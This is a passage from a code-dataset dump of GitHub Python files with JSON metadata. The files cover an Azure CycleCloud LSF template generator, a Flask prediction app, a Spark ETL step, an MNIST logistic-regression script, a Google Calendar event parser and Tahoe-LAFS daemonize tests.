1]\n record_mpi[\"UserData\"][\"lsf\"][\"attributes\"][\"cyclecloudmpi\"] = True\n # regenerate names, as we have added placementgroup\n record_mpi[\"UserData\"][\"lsf\"][\"attribute_names\"] = \" \".join(sorted(record_mpi[\"attributes\"].iterkeys()))\n record_mpi[\"priority\"] = record_mpi[\"priority\"] - n - 1\n record_mpi[\"templateId\"] = template_id\n record_mpi[\"maxNumber\"] = min(record[\"maxNumber\"], nodearray.get(\"Azure\", {}).get(\"MaxScalesetSize\", 40))\n record_mpi[\"availableNumber\"] = min(record_mpi[\"maxNumber\"], record_mpi[\"availableNumber\"])\n output[\"templates\"].append(record_mpi)\n \n default_priority = default_priority - 10\n \n return json.dump(output, stdout_writer, indent=2)\n\n\ndef generate_userdata(template):\n ret = {}\n \n for key, value_array in template.get(\"attributes\", {}).iteritems():\n if len(value_array) != 2:\n logging.error(\"Invalid attribute %s %s\", key, value_array)\n continue\n if value_array[0].lower() == \"boolean\":\n ret[key] = str(str(value_array[1]) != \"0\").lower()\n else:\n ret[key] = value_array[1]\n \n if template.get(\"customScriptUri\"):\n ret[\"custom_script_uri\"] = template.get(\"customScriptUri\")\n \n return ret\n\n \ndef _parse_UserData(user_data):\n ret = {}\n \n user_data = (user_data or \"\").strip()\n \n if not user_data:\n return ret\n \n key_values = user_data.split(\";\")\n \n # kludge: this can be overridden either at the template level\n # or during a creation request. We always want it defined in userdata\n # though.\n \n for kv in key_values:\n try:\n key, value = kv.split(\"=\", 1)\n ret[key] = value\n except ValueError:\n logging.error(\"Invalid UserData entry! '%s'\", kv)\n return ret\n\n\ndef _max_count(nodearray, machine_cores, bucket):\n if machine_cores < 0:\n logging.error(\"Invalid number of machine cores - %s\", machine_cores)\n return -1\n \n max_count = bucket.get(\"maxCount\")\n \n if max_count is not None:\n logging.debug(\"Using maxCount %s for %s\", max_count, bucket)\n return max(-1, max_count)\n \n max_core_count = bucket.get(\"maxCoreCount\")\n if max_core_count is None:\n if nodearray.get(\"maxCoreCount\") is None:\n logging.error(\"Need to define either maxCount or maxCoreCount! %s\", pprint.pformat(bucket))\n return -1\n logging.debug(\"Using maxCoreCount\")\n max_core_count = nodearray.get(\"maxCoreCount\")\n \n max_core_count = max(-1, max_core_count)\n \n return max_core_count / machine_cores\n \n\ndef _placement_groups(nodearray, config):\n return [\"pg%s\" % x for x in xrange(10)]\n\n\ndef main(): # pragma: no cover\n logging.basicConfig(format=\"%(message)s\", level=logging.INFO)\n try:\n provider_config = ProviderConfig({})\n cluster_name = provider_config.get(\"cyclecloud.cluster.name\")\n cluster = Cluster(cluster_name, provider_config)\n templates(cluster, sys.stdout, provider_config)\n sys.exit(0)\n except ImportError as e:\n logging.exception(unicode(e))\n sys.exit(1)\n except Exception as e:\n logging.error(unicode(e))\n sys.exit(1)\n \n\nif __name__ == \"__main__\":\n main() # pragma: no cover\n","repo_name":"Azure/cyclecloud-lsf","sub_path":"specs/default/cluster-init/files/host_provider/src/generate_templates.py","file_name":"generate_templates.py","file_ext":"py","file_size_in_byte":14773,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"47"} +{"seq_id":"30725183927","text":"from flask import Flask, request, jsonify, render_template, redirect, url_for\nimport joblib\nimport numpy as np\n\napp = Flask(\"CO Prediction Web App\")\nmodel = joblib.load('../model/linear_regressor_model.pkl')\n\n@app.route('/')\ndef home():\n return render_template('index.html')\n\n@app.route('/predict', methods=['GET', 'POST'])\ndef predict():\n if request.method == 'POST':\n float_features = [float(x) for x in request.form.values()]\n final_features = [np.array(float_features)]\n predicted_result = model.predict(final_features)\n\n # Redirect to the results page with the calculated prediction\n return redirect(url_for('results', prediction=predicted_result[0]))\n else:\n # If the method is GET, render the input form template\n return render_template('index.html')\n\n@app.route('/results', methods=['GET'])\ndef results():\n # Get the prediction value from the URL parameter\n prediction = request.args.get('prediction')\n\n return render_template('results.html', prediction=prediction)\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=5000)","repo_name":"papitaAlgodonCplusplus/LISUM24","sub_path":"Week 4/src/web_app.py","file_name":"web_app.py","file_ext":"py","file_size_in_byte":1107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"24626827495","text":"#!/usr/local/bin/python3\n\n\n###################################################################################################\n# #\n# SCRIPT FILE: gold.py #\n# CREATION DATE: 08/11/2022 #\n# HOUR: 09:25 #\n# DISTRIBUTION USED: UBUNTU #\n# OPERATIONAL SYSTEM: DEBIAN #\n# DEVELOPED BY: BATES #\n###################################################################################################\n# #\n# SUMMARY: DATA ENGINEER ABOUT BR FEDERAL SERVERS GRATUITIES #\n# #\n###################################################################################################\n\n# variables\n\nimport pyspark\nfrom pyspark.sql import SparkSession\nfrom pyspark import SparkContext\nimport os\nimport re\nimport json\nimport glob\nimport sys\n#variables\n\n\n\nclass Gold():\n def __init__(self,project, parameter) -> None:\n \n path = f\"{project}/parameters/{parameter}.json\"\n \n parameter=open(path)\n data = parameter.read()\n content = json.loads(data)\n spark = SparkSession.builder.master(\"local[1]\").appName(\"local\").getOrCreate()\n \n #recover\n silver_path = content[\"parquet_silver\"]\n gold_path = content[\"parquet_gold\"]\n\n\n df = spark.read.parquet(silver_path).createOrReplaceTempView(\"df\")\n \n df = spark.sql(\"\"\"SELECT\n id,\n first_name, \n last_name, \n cpf, \n education, \n server_agency, \n unit_action_server, \n uf_unit_action_server, \n upag, \n uf_upag, \n office, \n education_position, \n linked_office, \n original_office, \n education_original_office, \n situation, \n level_gratification, \n rubric, \n value, \n source,\n date_transform\n FROM df\n \"\"\")\n\n ##secund treatment\n df.write.mode(\"append\").format(\"parquet\").partitionBy(\"date_transform\").save(f\"{gold_path}gold\")\n print(f\"Parquet save in Datalake '{gold_path}' !\")\n\n","repo_name":"batestin1/ETL_SPARK","sub_path":"script/gold.py","file_name":"gold.py","file_ext":"py","file_size_in_byte":2833,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"28065882060","text":"import os\nimport io\nimport json\nimport shutil\nimport binascii\nfrom common import *\nfrom file_writer import *\n\nclass Decoder(object):\n def __init__(self, filepath):\n if not filepath.endswith('.mkv'):\n raise Exception('Expect input file name ends with .mkv')\n self.input_filepath = filepath\n\n @property\n def output_filepath(self):\n return self.input_filepath[:-4]\n\n @property\n def output_filepath_tmp(self):\n return self.output_filepath + '.tmp'\n\n def decode(self):\n create_tmp_dir()\n self.assemble_file()\n self.end()\n delete_tmp_dir()\n\n def assemble_file(self):\n print('Assemble file...')\n if os.path.exists(self.output_filepath_tmp):\n if os.path.isdir(self.output_filepath_tmp):\n shutil.rmtree(self.output_filepath_tmp)\n else:\n os.remove(self.output_filepath_tmp)\n if os.path.exists(self.output_filepath):\n if os.path.isdir(self.output_filepath):\n shutil.rmtree(self.output_filepath)\n else:\n os.remove(self.output_filepath)\n\n with open(self.input_filepath, 'rb') as f:\n f.seek(os.path.getsize('mkv_header') + 20)\n if b'f2v' != f.read(3):\n raise Exception('Not a f2v mkv file.')\n\n version = f.read(1)\n if version == b'\\x01' or version == b'\\x02':\n raise Exception('v1 and v2 are deprecated.')\n elif version == b'\\x03':\n self.assemble_file_v3(f)\n else:\n raise Exception('Not implemented version ' + version)\n\n def assemble_file_v3(self, f):\n info_size = int.from_bytes(f.read(4), byteorder='big')\n print('Info size:', info_size)\n\n output_filesize = int.from_bytes(f.read(5), byteorder='big')\n print('Output file size:', output_filesize)\n expected_crc = int.from_bytes(f.read(4), byteorder='big')\n print('Expect CRC:', expected_crc)\n\n is_dir = int.from_bytes(f.read(1), byteorder='big')\n print('Is dir:', is_dir)\n if is_dir:\n j_file_list = f.read(info_size - 10).decode()\n file_list = json.loads(j_file_list)\n print('File list len:', len(file_list))\n\n f.seek(BMP_BODY_LEN - 8 - info_size, io.SEEK_CUR)\n i = 1\n read = 0\n crc = 0\n\n if is_dir:\n fw = OriginalFolderWriter(self.output_filepath)\n fw.file_list = file_list\n else:\n fw = OriginalFileWriter(self.output_filepath)\n\n while read < output_filesize:\n print('Reading {0} frame.'.format(i))\n f.seek(20, io.SEEK_CUR)\n to_read = BMP_BODY_LEN if output_filesize - read >= BMP_BODY_LEN else output_filesize - read\n chunk = f.read(to_read)\n crc = binascii.crc32(chunk, crc)\n fw.write(chunk)\n \n read = read + to_read\n i = i + 1\n\n if crc != expected_crc:\n raise Exception('CRC not match, calculated crc {0}, expected crc {1}.', crc, expected_crc)\n fw.close()\n\n def end(self):\n pass\n\ndef decode(filepath):\n decoder = Decoder(filepath)\n decoder.decode()\n print('Decode end.')","repo_name":"bluesky139/f2v","sub_path":"decoder.py","file_name":"decoder.py","file_ext":"py","file_size_in_byte":3283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"40113100921","text":"import numpy as np \r\nimport pandas as pd \r\nimport matplotlib.pyplot as plt \r\n\r\nfrom sklearn.decomposition import PCA\r\nfrom sklearn.linear_model import LogisticRegression\r\n\r\ndata_path = 'mnist_train.csv'\r\n\r\ndef get_transformed_data():\r\n\tprint('Reading in and transforming data...')\r\n\tdf = pd.read_csv(data_path)\r\n\tdata = df.as_matrix().astype(np.float32)\r\n\tnp.random.shuffle(data)\r\n\r\n\tX = data[:, 1:]\r\n\tmu = X.mean(axis=0)\r\n\tX = X - mu \r\n\tpca = PCA()\r\n\tZ = pca.fit_transform(X)\r\n\tY = data[:, 0]\r\n\r\n\treturn Z, Y, pca, mu\r\n\r\n\r\ndef get_normalized_data(show_img=False):\r\n\tprint('Reading in and transforming data...')\r\n\tdf = pd.read_csv(data_path)\r\n\tdata = df.as_matrix().astype(np.float32)\r\n\tnp.random.shuffle(data)\r\n\tX = data[:, 1:]\r\n\tY = data[:, 0]\r\n\tif show_img:\r\n\t\tn = np.random.randint(len(X))\r\n\t\tplt.imshow(255-X[n,:].reshape(28,28), cmap='gray')\r\n\t\tplt.title(\"Original image of '{}'\".format(int(Y[n])))\r\n\t\tplt.show()\r\n\tmu = X.mean(axis=0)\r\n\tstd = X.std(axis=0)\r\n\tnp.place(std, std==0, 1) # replace entries of std=0 to 1\r\n\tX = (X - mu) / std\r\n\tif show_img:\t\t\r\n\t\tplt.imshow(255-X[n,:].reshape(28,28), cmap='gray')\r\n\t\tplt.title(\"Normalized image of '{}'\".format(int(Y[n])))\r\n\t\tplt.show()\r\n\t\r\n\r\n\treturn X, Y\r\n\r\n\r\ndef plot_cumulative_variance(pca):\r\n\tP = []\r\n\tfor p in pca.explained_variance_ratio_:\r\n\t\tif len(P) == 0:\r\n\t\t\tP.apppend(p)\r\n\t\telse:\r\n\t\t\tP.append(p + P[-1])\r\n\tplt.plot(P)\r\n\tplt.show()\r\n\treturn P\r\n\r\n\r\ndef init_weight_and_bias(M1, M2):\r\n W = np.random.randn(M1, M2) / np.sqrt(M1 / 2.0)\r\n b = np.zeros(M2)\r\n return W.astype(np.float32), b.astype(np.float32)\r\n\r\n\r\ndef relu(x):\r\n return x * (x > 0)\r\n\r\n\r\ndef swish(a, tensorflow=False):\r\n if tensorflow:\r\n import tensorflow as tf\r\n return a * tf.sigmoid(a)\r\n else:\r\n return a / (1 + np.exp(-a))\r\n\r\n\r\ndef forward(X, W, b):\r\n\t# softmax:\r\n\ta = X.dot(W) + b\r\n\t#print('any nan in X?:', np.any(np.isnan(X)))\r\n\t#print('any nan in W?:'), np.any(np.isnan(W))\r\n\t#print('W:', W)\r\n\t#print('X.dot(W):', X.dot(W))\r\n\t#print('b:', b)\r\n\t#print('a:', a)\r\n\texpa = np.exp(a)\r\n\t#print('expa:', expa)\r\n\ty = expa / np.sum(expa, axis=1, keepdims=True)\r\n\t# exit()\r\n\treturn y\r\n\r\n\r\ndef predict(p_y):\r\n\treturn np.argmax(p_y, axis=1)\r\n\r\n\r\ndef error_rate(p_y, t):\r\n\tprediction = predict(p_y)\r\n\treturn np.mean(prediction != t)\r\n\r\n\r\ndef cost(p_y, t):\r\n\ttot = t * np.log(p_y)\r\n\treturn -tot.sum()\r\n\r\n\r\ndef grad_W(t, y, X):\r\n\t# return the gradient for W:\r\n\treturn X.T.dot(t - y)\t\r\n\r\n\r\ndef grad_b(t, y):\r\n\treturn (t - y).sum(axis=0)\r\n\r\n\r\ndef y2indicator(y):\r\n\tN = len(y)\r\n\ty = y.astype(np.int32)\r\n\tK = len(set(y))\r\n\tind = np.zeros((N, K))\r\n\tfor i in range(N):\r\n\t\tind[i, y[i]] = 1\r\n\r\n\treturn ind\r\n\r\n\r\ndef benchmark_full():\r\n\tX, Y = get_normalized_data()\r\n\r\n\tprint('Performing logistic regression...')\r\n\t#lr = LogisticRegression(solver='lbfgs')\r\n\r\n\t# test on the last 1000 points:\r\n\t#lr.fit(X[:-1000, :200], Y[:-1000]) # use only first 200 dimensions\r\n\t#print(lr.score(X[-1000:, :200], Y[-1000:]))\r\n\t#print('X:', X)\r\n\r\n\t# normalize X first\r\n\t#mu = X.mean(axis=0)\r\n\t#std = X.std(axis=0)\r\n\t#X = (X - mu) / std\r\n\r\n\tXtrain = X[:-1000,]\r\n\tYtrain = Y[:-1000]\r\n\tXtest = X[-1000:,]\r\n\tYtest = Y[-1000:]\r\n\t\r\n\tN, D = Xtrain.shape\r\n\tK = len(set(Ytrain))\r\n\t\r\n\t# convert Ytrain and Ytest to (N x K) matrices of indicator variables\r\n\tYtrain_ind = y2indicator(Ytrain)\r\n\tYtest_ind = y2indicator(Ytest)\r\n\r\n\t# randomly initialize the weights and bias:\r\n\tW = np.random.randn(D, K) / np.sqrt(D)\r\n\tb = np.zeros(K)\r\n\tLL = []\r\n\tLLtest = []\r\n\tCRtest = []\r\n\r\n\t# reg = 1\r\n\t# learning rate 0.0001 is too high, 0.00005 is also too high:\r\n\t\r\n\tlr = 0.00004\r\n\treg = 0.01\r\n\tfor i in range(500):\r\n\t\tp_y = forward(Xtrain, W, b)\r\n\t\t# print('p_y:', p_y)\r\n\t\tll = cost(p_y, Ytrain_ind)\r\n\t\tLL.append(ll)\r\n\r\n\t\tp_y_test = forward(Xtest, W, b)\r\n\t\tlltest = cost(p_y_test, Ytest_ind)\r\n\t\tLLtest.append(lltest)\r\n\r\n\t\terr = error_rate(p_y_test, Ytest)\r\n\t\tCRtest.append(err)\r\n\r\n\t\tW += lr*(grad_W(Ytrain_ind, p_y, Xtrain) - reg*W)\r\n\t\tb += lr*(grad_b(Ytrain_ind, p_y) - reg*b)\r\n\t\tif i % 10 == 0:\r\n\t\t\tprint('Cost at iteration %d: %.6f' % (i, ll))\r\n\t\t\tprint('Error rate:', err)\r\n\r\n\tp_y = forward(Xtest, W, b)\r\n\tprint('Final error rate:', error_rate(p_y, Ytest)) \r\n\titers = range(len(LL))\r\n\tplt.plot(iters, LL, iters, LLtest)\r\n\tplt.show()\r\n\tplt.plot(CRtest)\r\n\tplt.show()\r\n\r\n\r\ndef benchmark_pca():\r\n\tX, Y, _, _ = get_transformed_data()\r\n\tX = X[:, :300]\r\n\r\n\t# normalize X first:\r\n\tmu = X.mean(axis=0)\r\n\tstd = X.std(axis=0)\r\n\tX = (X - mu) / std\r\n\r\n\tprint('Performing logistic regression...')\r\n\tXtrain = X[:-1000,]\r\n\tYtrain = Y[:-1000].astype(np.int32)\r\n\tXtest = X[-1000:,]\r\n\tYtest = Y[-1000:].astype(np.int32)\r\n\r\n\tN, D = Xtrain.shape\r\n\tK = len(set(Ytrain))\r\n\tYtrain_ind = np.zeros((N, K))\r\n\tfor i in range(N):\r\n\t\tYtrain_ind[i, Ytrain[i]] = 1\r\n\r\n\tNtest = len(Ytest)\r\n\tYtest_ind = np.zeros((Ntest, K))\r\n\tfor i in range(Ntest):\r\n\t\tYtest_ind[i, Ytest[i]] = 1\r\n\r\n\tW = np.random.randn(D, K) / np.sqrt(D)\r\n\tb = np.zeros(10)\r\n\tLL = []\r\n\tLLtest = []\r\n\tCRtest = []\r\n\r\n\t# D = 300 -> error = 0.07\r\n\tlr = 0.0001\r\n\treg = 0.01\r\n\tfor i in range(200):\r\n\t\tp_y = forward(Xtrain, W, b)\r\n\t\t#print('p_y:', p_y)\r\n\t\tll = cost(p_y, Ytrain_ind)\r\n\t\tLL.append(ll)\r\n\r\n\t\tp_y_test = forward(Xtest, W, b)\r\n\t\tlltest = cost(p_y_test, Ytest_ind)\r\n\t\tLLtest.append(lltest)\r\n\r\n\t\terr = error_rate(p_y_test, Ytest)\r\n\t\tCRtest.append(err)\r\n\r\n\t\tW += lr*(grad_W(Ytrain_ind, p_y, Xtrain) - reg*W)\r\n\t\tb += lr*(grad_b(Ytrain_ind, p_y) - reg*b)\r\n\t\tif i % 10 == 0:\r\n\t\t\tprint('Cost at iteration %d: %.6f' % (i, ll))\r\n\t\t\tprint('Error rate:', err)\r\n\r\n\tp_y = forward(Xtest, W, b)\r\n\tprint('Final error rate:', error_rate(p_y, Ytest))\r\n\titers = range(len(LL))\r\n\tplt.plot(iters, LL, iters, LLtest)\r\n\tplt.show()\r\n\tplt.plot(CRtest)\r\n\tplt.show()\r\n\r\n\r\nif __name__ == '__main__':\r\n\t#benchmark_pca()\r\n\tbenchmark_full()\r\n\r\n\r\n\r\n\r\n","repo_name":"pavlo-melnyk/machine_learning","sub_path":"artificial_neural_networks/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":5762,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"47"} +{"seq_id":"18689392099","text":"from app.models.study import Study, Studies\nfrom app.models.user_study import UserStudy, UserStudies\nfrom app.db.tables import StudyDto, StudyContentDto, UserStudyDto\nfrom app.repositories.study_repository import StudyRepository\n\nclass UserStudyRepository():\n\tdef __init__(self, session):\n\t\tself.session = session\n\t\tself.study_repository = StudyRepository(session)\n\n\tdef __del__(self):\n\t\tself.session.close()\n\n\tdef regist(self, user_study):\n\t\tuser_study_dto = UserStudyDto(\n\t\t\tuser_id=user_study.get_user_id(),\n\t\t\tadmin_id=user_study.get_admin_id(),\n\t\t\tstudy_cd=user_study.get_study_cd())\n\t\tself.session.add(user_study_dto)\n\t\tself.session.commit()\n\n\tdef delete(self, user_study):\n\t\tself.session.query(UserStudyDto\n\t\t\t).filter(UserStudyDto.user_id==user_study.get_user_id()\n\t\t\t).filter(UserStudyDto.admin_id==user_study.get_admin_id()\n\t\t\t).filter(UserStudyDto.study_cd==user_study.get_study_cd()).delete()\n\t\tself.session.commit()\n\n\tdef find_all_on_user(self, user_id):\n\t\tuser_study_dtos = self.session.query(UserStudyDto\n\t\t\t).filter(UserStudyDto.user_id==user_id).all()\n\n\t\tuser_studies = UserStudies()\n\t\tfor dto in user_study_dtos:\n\t\t\tstudy = self.study_repository.find_by_cd(\n\t\t\t\tadmin_id=dto.admin_id,\n\t\t\t\tstudy_cd=dto.study_cd)\n\t\t\tuser_study = UserStudy(\n\t\t\t\tuser_id=user_id,\n\t\t\t\tstudy=study)\n\t\t\tuser_study.set_created_at(format(dto.created_at, \"%Y年%m月%d日\"))\n\t\t\tuser_studies.add_user_study(user_study)\n\n\t\treturn user_studies\n\n\n\t\t","repo_name":"asato99/programing-education-fastapi","sub_path":"app/repositories/user_study_repository.py","file_name":"user_study_repository.py","file_ext":"py","file_size_in_byte":1437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"72676797902","text":"import json\nimport logging\nimport re\nimport traceback\nfrom datetime import date, datetime, timedelta\n\nimport requests\n\nfrom core.domain.denar import DenarnaVrednost, Valute\nfrom core.domain.dogodek import Dogodek, TipDogodka\nfrom core.domain.uporabnik import Uporabnik\nfrom core.service.koledar_service import KoledarService\n\nlog = logging.getLogger(__name__)\n\n\nclass InformacijeEventa:\n\tdef __init__(self, name: str, phone: str, email: str, email_placnik: str, cena_instrukcij: float, cena_valuta: str):\n\t\tself.name = name\n\t\tself.phone = phone\n\t\tself.email = email\n\t\tself.email_placnik = email_placnik\n\t\tself.cena_instrukcij = cena_instrukcij\n\t\tself.cena_valuta = cena_valuta\n\n\nclass KoledarGoogle(KoledarService):\n\n\tdef __init__(self, google_api_key: str, google_email_naslov: str):\n\t\tself.google_api_key = google_api_key\n\t\tself.email_naslov = google_email_naslov\n\n\tdef dogodki(self, zacetek: date, konec: date) -> list[Dogodek]:\n\t\tzacetek_ti = datetime.combine(zacetek, datetime.min.time()).isoformat() + 'Z'\n\t\tkonec_ti = (datetime.combine(konec, datetime.max.time()) - timedelta(microseconds=1)).isoformat() + 'Z'\n\t\turl = f'https://www.googleapis.com/calendar/v3/calendars/{self.email_naslov}/events?key={self.google_api_key}&timeMin={zacetek_ti}&timeMax={konec_ti}'\n\t\tdogodki = []\n\t\ttry:\n\t\t\tresponse = requests.get(url)\n\t\t\t# Error če je request.status kode čez 300\n\t\t\tresponse.raise_for_status()\n\t\t\tdata = json.loads(response.text)\n\t\t\tfor event in data['items']:\n\t\t\t\tif 'description' in event:\n\t\t\t\t\tstring = event['description']\n\t\t\t\t\tacuity_id_pattern = re.compile(r\"AcuityID=(\\d+)\")\n\t\t\t\t\tmatch = acuity_id_pattern.search(string)\n\t\t\t\t\tif match:\n\t\t\t\t\t\tdobljene_informacije_dogodka = self._dobi_informacije_dogodka(string=string)\n\t\t\t\t\t\tif dobljene_informacije_dogodka.cena_valuta == '$':\n\t\t\t\t\t\t\tcena = DenarnaVrednost(vrednost=dobljene_informacije_dogodka.cena_instrukcij,\n\t\t\t\t\t\t\t valuta=Valute.dolar)\n\t\t\t\t\t\t\tcena = cena.pretvori(valuta=Valute.euro)\n\t\t\t\t\t\telse:\n\n\t\t\t\t\t\t\tcena = DenarnaVrednost(vrednost=dobljene_informacije_dogodka.cena_instrukcij,\n\t\t\t\t\t\t\t valuta=Valute.euro)\n\t\t\t\t\t\tuporabnik = Uporabnik(\n\t\t\t\t\t\t\time=dobljene_informacije_dogodka.name,\n\t\t\t\t\t\t\tpriimek=dobljene_informacije_dogodka.name,\n\t\t\t\t\t\t\temail=dobljene_informacije_dogodka.email,\n\t\t\t\t\t\t\temail_racuna=dobljene_informacije_dogodka.email_placnik,\n\t\t\t\t\t\t\ttelefon=dobljene_informacije_dogodka.phone\n\t\t\t\t\t\t)\n\t\t\t\t\t\tdogodek = Dogodek(\n\t\t\t\t\t\t\time=None,\n\t\t\t\t\t\t\tcena=cena,\n\t\t\t\t\t\t\ttip=TipDogodka.INSTRUKCIJE,\n\t\t\t\t\t\t\tzacetek=datetime.fromisoformat(event['start']['dateTime']),\n\t\t\t\t\t\t\tkonec=datetime.fromisoformat(event['end']['dateTime']),\n\t\t\t\t\t\t\tuporabnik=uporabnik\n\t\t\t\t\t\t)\n\t\t\t\t\t\tdogodki.append(dogodek)\n\t\t\t\t\telse:\n\n\t\t\t\t\t\tlog.info(\"AcuityID ni najden na tem dogodku\")\n\t\t\t\telse:\n\t\t\t\t\tlog.info('ni opisa na dogodku, nadaljuj na naslednji dogodek')\n\t\t\t\t\tcontinue\n\t\texcept requests.exceptions.HTTPError as e:\n\t\t\tlog.error(f\"An HTTP error occurred: {e}\")\n\t\texcept Exception as e:\n\t\t\tlog.error(f\"An error occurred: {e}\\n{traceback.format_exc()}\")\n\t\treturn dogodki\n\n\tdef _dobi_informacije_dogodka(self, string: str) -> InformacijeEventa:\n\t\tname = ''\n\t\tphone = ''\n\t\temail = ''\n\t\temail_placnik = ''\n\t\tcena_instrukcij = None\n\n\t\t# pattern = r\"Email osebe, ki bo plačala inštrukcije\\s*:\\s*<a><u><u>([^<]+)</u></u></a>\"\n\t\tprint(string)\n\t\temail_racun = re.search(r\"Email osebe, ki bo plačala inštrukcije : </span><a><u><u>(\\S+)</u></u></a>\", string)\n\t\tif email_racun:\n\t\t\temail_placnik = email_racun.group(1).strip(\"</u></u></a>\")\n\t\t\tprint(email_placnik)\n\t\telse:\n\t\t\tlog.info(\"Email osebe, ki bo plačala inštrukcije not found in string\")\n\n\t\temail_match = re.search(r\"Email: <a>(.+?)</a>\", string)\n\t\tif email_match:\n\t\t\temail = email_match.group(1)\n\n\t\tname_match = re.search(r\"Name: (.+?)<br>\", string)\n\t\tif name_match:\n\t\t\tname = name_match.group(1)\n\n\t\tphone_match = re.search(r\"Phone: (.+?)<br>\", string)\n\t\tif phone_match:\n\t\t\tphone = phone_match.group(1)\n\n\t\tcena_match = re.search(r\"Price: (?:\\$|€)([\\d.]+)\", string)\n\t\tif cena_match:\n\t\t\tcena_instrukcij = float(cena_match.group(1))\n\n\t\tvaluta_match = re.search(r\"Price:\\s*(\\D+)\", string)\n\t\tif valuta_match:\n\t\t\tcena_valuta = valuta_match.group(1)\n\t\telse:\n\t\t\tcena_valuta = None\n\t\treturn InformacijeEventa(name=name, phone=phone, email=email, email_placnik=email_placnik,\n\t\t cena_instrukcij=cena_instrukcij, cena_valuta=cena_valuta)\n","repo_name":"ethernal12/my_pay_pal","sub_path":"app/service/koledar_google.py","file_name":"koledar_google.py","file_ext":"py","file_size_in_byte":4401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"34794293046","text":"#read json from that url using urlib and then parse\r\n#extract comment counts and sum the numbers\r\n\r\nimport urllib.request as ur\r\nimport json\r\n\r\nurl = input(\"Enter the url:\")\r\nif len(url) < 1: url = \" http://py4e-data.dr-chuck.net/comments_42.json\"\r\n\r\ndata = ur.urlopen(url).read().decode('utf-8')\r\ninfo = json.loads(data)\r\nprint (\"Succesful retrieval\", len(data), \"characters\")\r\n\r\nsum = 0\r\n\r\nfor comment in info[\"comments\"]:\r\n sum += int(comment[\"count\"])\r\n\r\nprint (\"Sum:\" , sum)\r\n","repo_name":"JHanek3/Coursera","sub_path":"15.1.py","file_name":"15.1.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"9998158188","text":"import os\n\n\nclass FileIO(object):\n @staticmethod\n def create_dir_if_not_exist(*paths):\n for d in paths:\n if not os.path.exists(d):\n os.makedirs(d)\n print(\"Created path: {}\".format(d))\n\n @staticmethod\n def read_csv_as_spark_df(logger,\n spark,\n file_location,\n delimiter,\n infer_schema=\"true\",\n is_first_row_header=\"true\",\n quote=None,\n escape=None,\n charset=\"UTF-8\"):\n df = None\n try:\n if os.path.exists(file_location):\n df = spark.read.format(\"csv\") \\\n .option(\"inferSchema\", infer_schema) \\\n .option(\"header\", is_first_row_header) \\\n .option(\"sep\", delimiter) \\\n .option(\"charset\", charset) \\\n .option(\"quote\", quote) \\\n .option(\"escape\", escape) \\\n .load(file_location.replace('/dbfs/mnt', '/mnt'))\n else:\n logger.info(\"cant read file {}\".format(file_location))\n return df\n except Exception as e:\n logger.info(\"Error caused with message | {}\".format(e))\n","repo_name":"Anupam1007/analytics_project","sub_path":"src/utils/FileIO.py","file_name":"FileIO.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"5616963335","text":"T = int(input())\n\nwhile(T > 0):\n\tp1, p2, k = map(int, input().split(\" \"))\n\trem = (p1+p2)%k\n\tif (((p1+p2-rem)/k)%2 == 0):\n\t\tprint(\"CHEF\")\n\telse:\n\t\tprint(\"COOK\")\n\tT = T-1","repo_name":"jarnugirdhar/Learning","sub_path":"CodeChef/chserve.py","file_name":"chserve.py","file_ext":"py","file_size_in_byte":168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"72988368782","text":"import os\nfrom os.path import dirname, join\nfrom mock import patch, Mock\nfrom six.moves import StringIO\nfrom sys import getfilesystemencoding\nfrom twisted.trial import unittest\nfrom allmydata.scripts import runner\nfrom allmydata.scripts.tahoe_daemonize import identify_node_type\nfrom allmydata.scripts.tahoe_daemonize import DaemonizeTahoeNodePlugin\nfrom allmydata.scripts.tahoe_daemonize import DaemonizeOptions\nfrom allmydata.scripts.tahoe_daemonize import MyTwistdConfig\n\n\nclass Util(unittest.TestCase):\n def setUp(self):\n self.twistd_options = MyTwistdConfig()\n self.twistd_options.parseOptions([\"DaemonizeTahoeNode\"])\n self.options = self.twistd_options.subOptions\n\n def test_node_type_nothing(self):\n tmpdir = self.mktemp()\n base = dirname(tmpdir).decode(getfilesystemencoding())\n\n t = identify_node_type(base)\n\n self.assertIs(None, t)\n\n def test_node_type_introducer(self):\n tmpdir = self.mktemp()\n base = dirname(tmpdir).decode(getfilesystemencoding())\n with open(join(dirname(tmpdir), 'introducer.tac'), 'w') as f:\n f.write(\"test placeholder\")\n\n t = identify_node_type(base)\n\n self.assertEqual(u\"introducer\", t)\n\n def test_daemonize(self):\n tmpdir = self.mktemp()\n plug = DaemonizeTahoeNodePlugin('client', tmpdir)\n\n with patch('twisted.internet.reactor') as r:\n def call(fn, *args, **kw):\n fn()\n r.stop = lambda: None\n r.callWhenRunning = call\n service = plug.makeService(self.options)\n service.parent = Mock()\n service.startService()\n\n self.assertTrue(service is not None)\n\n def test_daemonize_no_keygen(self):\n tmpdir = self.mktemp()\n plug = DaemonizeTahoeNodePlugin('key-generator', tmpdir)\n\n with patch('twisted.internet.reactor') as r:\n def call(fn, *args, **kw):\n d = fn()\n d.addErrback(lambda _: None) # ignore the error we'll trigger\n r.callWhenRunning = call\n r.stop = 'foo'\n service = plug.makeService(self.options)\n service.parent = Mock()\n # we'll raise ValueError because there's no key-generator\n # .. BUT we do this in an async function called via\n # \"callWhenRunning\" .. hence using a hook\n d = service.set_hook('running')\n service.startService()\n def done(f):\n self.assertIn(\n \"key-generator support removed\",\n str(f),\n )\n return None\n d.addBoth(done)\n return d\n\n def 